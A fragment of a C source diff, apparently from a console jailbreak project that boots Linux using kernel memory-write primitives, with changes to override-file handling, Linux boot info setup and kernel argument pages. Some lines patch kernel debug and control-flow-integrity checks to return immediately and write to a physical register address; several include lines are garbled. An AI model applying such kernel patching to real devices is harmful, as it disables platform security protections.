+35,14 @@ static const char *get_overridden_filename(const char *filename) { for (char *p = overrides_start; p < overrides_end; p++) if (*p == '\n') *p = 0; - overrides_start[size] = - 0; // make sure the last string is null-terminated + // make sure the last string is null-terminated + overrides_start[size] = 0; } } } - if (state == - 1) // overrides not found, or unreadable, or currently looking for it + // overrides not found, or unreadable, or currently looking for it + if (state == 1) return filename; size_t needle_len = strlen(filename); @@ -208,8 +198,8 @@ int fetch_linux(struct linux_info *info) { info->initrd = kernel_cave_bzImage + ALIGN_UP(bzimage_size, PAGE_SIZE); info->initrd_size = initrd_size; info->vram_size = vram_size; - strcpy(info->cmdline, cmdline); info->kit_type = (int)get_kit_type(); + strcpy(info->cmdline, cmdline); uint64_t page = alloc_page(); kwrite(pa_to_dmap(page), info, sizeof(struct linux_info)); diff --git a/source/prepare_resume.c b/source/prepare_resume.c index 20979f2..4c7afd3 100644 --- a/source/prepare_resume.c +++ b/source/prepare_resume.c @@ -5,11 +5,9 @@ #include "iommu.h" #include "offsets.h" #include "utils.h" -#include #include int prepare_resume(void) { - if (env_offset.KERNEL_CODE_CAVE == 0) { printf("Error: missing code cave offset\n"); return -1; @@ -27,6 +25,9 @@ int prepare_resume(void) { kwrite8(ktext + env_offset.KERNEL_DEBUG_PATCH, 0xC3); kwrite8(ktext + env_offset.KERNEL_CFI_CHECK, 0xC3); + // Unmute uart. + kwrite32(pa_to_dmap(0xC0115110), 0); + return 0; } @@ -88,9 +89,8 @@ uint64_t prepare_sck_args(void) { args.linux_info_va = linux_i.linux_info; - uint64_t args_cave = alloc_page(); - kernel_copyin(&args, pa_to_dmap(args_cave), sizeof(args)); - install_page_syscore(kernel_cave_arguments, args_cave, 0); + uint64_t args_cave = pa_to_dmap(alloc_page()); + kernel_copyin(&args, args_cave, sizeof(args)); - return kernel_cave_arguments; -} \ No newline at end of file + return args_cave; +} diff --git a/source/utils.c b/source/utils.c index 128a830..e5dd411 100644 --- a/source/utils.c +++ b/source/utils.c @@ -1,14 +1,11 @@ #include "utils.h" #include "linux.h" #include "offsets.h" -#include #include #include #include #include -#include #include -#include /* Global Variables */ offset_list env_offset;